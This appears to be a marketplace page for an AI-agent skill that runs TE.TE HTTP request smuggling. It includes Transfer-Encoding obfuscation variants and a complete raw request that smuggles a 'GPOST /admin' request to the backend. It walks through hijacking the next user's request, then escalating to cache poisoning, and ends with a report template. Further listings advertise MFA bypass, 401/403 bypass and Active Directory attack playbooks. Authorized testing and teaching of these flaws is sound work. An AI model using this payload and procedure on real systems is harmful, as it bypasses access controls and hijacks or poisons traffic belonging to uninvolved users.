Exploit advanced HTTP Request Smuggling combining Transfer-Encoding vulnerabilities (TE.TE). By obscuring the Transfer-Encoding header, an attacker forces desynchronization between a frontend proxy (which processes the request one way) and the backend server (which processes it another way), allowing the smuggling of malicious requests to bypass security controls or poison caches.
The English summary is being prepared. Showing the original description.
See how to installReview the instructions the agent will receive before you install.
Transfer-Encoding: chunked header.# Concept: Normally, HTTP requests are separated securely.
# In Request Smuggling, we send *one* mathematically ambiguous HTTP request that the Frontend
# proxy interprets as a single request, but the Backend interprets as *two* requests.
# TE.TE (Transfer-Encoding / Transfer-Encoding) occurs when BOTH the Frontend and Backend
# servers support the `Transfer-Encoding` header.
# The Attack: We send a request with TWO `Transfer-Encoding` headers, but we intentionally
# obfuscate one of them. The goal is to make the Frontend process the request using `chunked`
# encoding, but trick the Backend into ignoring it (falling back to `Content-Length`) or vice versa.
# We must find an obfuscation technique that one server accepts but the other rejects.
# Method 1: Spacing
Transfer-Encoding: chunked
Transfer-Encoding : x
# Method 2: Invalid encoding name
Transfer-Encoding: xchunked
# Method 3: Line folding (historical, but sometimes effective)
Transfer-Encoding:
chunked
# If the Frontend processes the first header (chunked) and the Backend processes the second (invalid/ignored),
# we effectively convert the attack into a standard TE.CL attack, achieving desynchronization.
# Objective: The Frontend sees 1 request. The Backend sees 2 requests.
# Below is the raw HTTP request. (Note: \r\n line endings are CRITICAL and must perfectly align).
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
# The Breakdown:
# 1. Frontend: Processes `Transfer-Encoding: chunked`. Reads the chunk sizes (5c and 0) and forwards the entire block as one request.
# 2. Backend: Ignores `Transfer-encoding: cow` (or prioritizes `Content-Length: 4`).
# It reads only the first 4 bytes of the body ("5c\r\n").
# 3. The Smuggle: The backend leaves the remaining data (`GPOST /admin...`) sitting in its TCP buffer.
# 4. The Impact: The NEXT legitimate user who sends a request will inadvertently have their request appended to our smuggled `GPOST /admin` request!
# 1. Use Burp Suite's "HTTP Request Smuggler" extension to accurately test permutations automatically.
# 2. To manually verify, send the payload repeatedly using Burp Repeater (updating Content-Length).
# 3. Watch for anomalous responses to normal requests (e.g., getting a 403 Forbidden for a normal request because it got appended to the smuggled `/admin` path).
flowchart TD
A[Identify Frontend Proxy / Load Balancer] --> B[Send basic TE.TE obfuscated payloads via Burp Suite]
B --> C{Does a timeout occur or do subsequent normal requests get anomalous responses?}
C -->|Yes| D[TE.TE Desynchronization Confirmed! The backend is interpreting the smuggled prefix.]
C -->|No| E[Try different obfuscation techniques (tabs, vertical tabs, capitalization, newlines)]
D --> F[Escalate to Web Cache Poisoning by smuggling a request with a malicious Host header]
E --> C
Http Request Smuggling Te Te — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
No reviews yet. Tell others what you thought.
No login needed. Share how it worked for you, ask a question, or note where it did not run.
No comments yet. Be the first to write one.
Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.
The English summary is being prepared. Showing the original description.
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.
The English summary is being prepared. Showing the original description.
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques
The English summary is being prepared. Showing the original description.
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
The English summary is being prepared. Showing the original description.
Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.
The English summary is being prepared. Showing the original description.
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
The English summary is being prepared. Showing the original description.